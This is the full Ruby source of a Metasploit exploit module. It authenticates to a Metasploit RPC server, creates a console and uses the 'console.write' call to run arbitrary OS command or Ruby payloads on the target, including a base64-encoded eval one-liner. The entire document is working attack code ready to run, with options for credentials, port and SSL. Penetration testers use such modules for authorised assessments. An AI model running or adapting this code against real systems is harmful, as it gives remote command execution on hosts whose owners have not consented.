Metasploit RPC Console Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Metasploit RPC Console Command Execution',
      'Description'     => %q{
        This module connects to a specified Metasploit RPC server and
        uses the 'console.write' procedure to execute operating
        system commands. Valid credentials are required to access the
        RPC interface.

        This module has been tested successfully on Metasploit 4.15
        on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit
        4.14 on Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'bcoles',
      'References'     =>
        [
          [ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],
          [ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]
        ],
      'Platform'       => %w{ ruby unix win },
      'Targets'        => [
          [ 'Ruby',        { 'Arch'     => ARCH_RUBY,
                             'Platform' => 'ruby',
                             'Payload'  => { 'BadChars' => "\x00" } } ],
          [ 'Windows CMD', { 'Arch'     => ARCH_CMD,
                             'Platform' => 'win',
                             'Payload'  => { 'BadChars' => "\x00\x0A\x0D" } } ],
          [ 'Unix CMD',    { 'Arch'     => ARCH_CMD,
                             'Platform' => 'unix',
                             'Payload'  => { 'BadChars' => "\x00\x0A\x0D" } } ]
        ],
      'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },
      'Privileged'     => false,
      'DisclosureDate' => '2011-05-22',
      'DefaultTarget'  => 0))
    register_options [ Opt::RPORT(55552),
                       OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),
                       OptString.new('PASSWORD', [true, 'Password for the specified username', '']),
                       OptBool.new('SSL', [ true, 'Use SSL', true]) ]
  end

  def execute_command(cmd, opts = {})
    res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"

    if res.nil?
      fail_with Failure::Unknown, 'Connection failed'
    end

    unless res['wrote'].to_s =~ /\A\d+\z/
      print_error "Could not write to console #{@console_id}:"
      print_line res.to_s
      return
    end

    vprint_good "Wrote #{res['wrote']} bytes to console"
  end

  def exploit
    begin
      @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
    rescue Rex::ConnectionRefused => e
      fail_with Failure::Unreachable, 'Connection refused'
    rescue => e
      fail_with Failure::Unknown, "Connection failed: #{e}"
    end

    res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']

    if @rpc.token.nil?
      fail_with Failure::NoAccess, 'Authentication failed'
    end

    print_good 'Authenticated successfully'
    vprint_status "Received temporary token: #{@rpc.token}"

    version = @rpc.call 'core.version'

    if res.nil?
      fail_with Failure::Unknown, 'Connection failed'
    end

    print_status "Metasploit #{version['version']}"
    print_status "Ruby #{version['ruby']}"
    print_status "API version #{version['api']}"

    vprint_status 'Creating new console...'
    res = @rpc.call 'console.create'

    if res.nil?
      fail_with Failure::Unknown, 'Connection failed'
    end

    unless res['id'].to_s =~ /\A\d+\z/
      print_error 'Could not create console:'
      print_line res.to_s
      return
    end

    @console_id = res['id']
    print_good "Created console ##{@console_id}"

    print_status 'Sending payload...'

    case target['Platform']
    when 'ruby'
      cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"
    when 'win'
      cmd = payload.encoded
    when 'unix'
      cmd = payload.encoded
    else
      fail_with Failure::NoTarget, 'Invalid target'
    end

    execute_command cmd
  end

  def cleanup
    return if @console_id.nil?

    vprint_status 'Removing console...'
    res = @rpc.call 'console.destroy', @console_id

    if res.nil?
      print_error 'Connection failed'
      return
    end

    unless res['result'].eql? 'success'
      print_warning "Could not destroy console ##{@console_id}:"
      print_line res.to_s
      return
    end

    vprint_good "Destroyed console ##{@console_id}"
  ensure
    @rpc.close
  end
end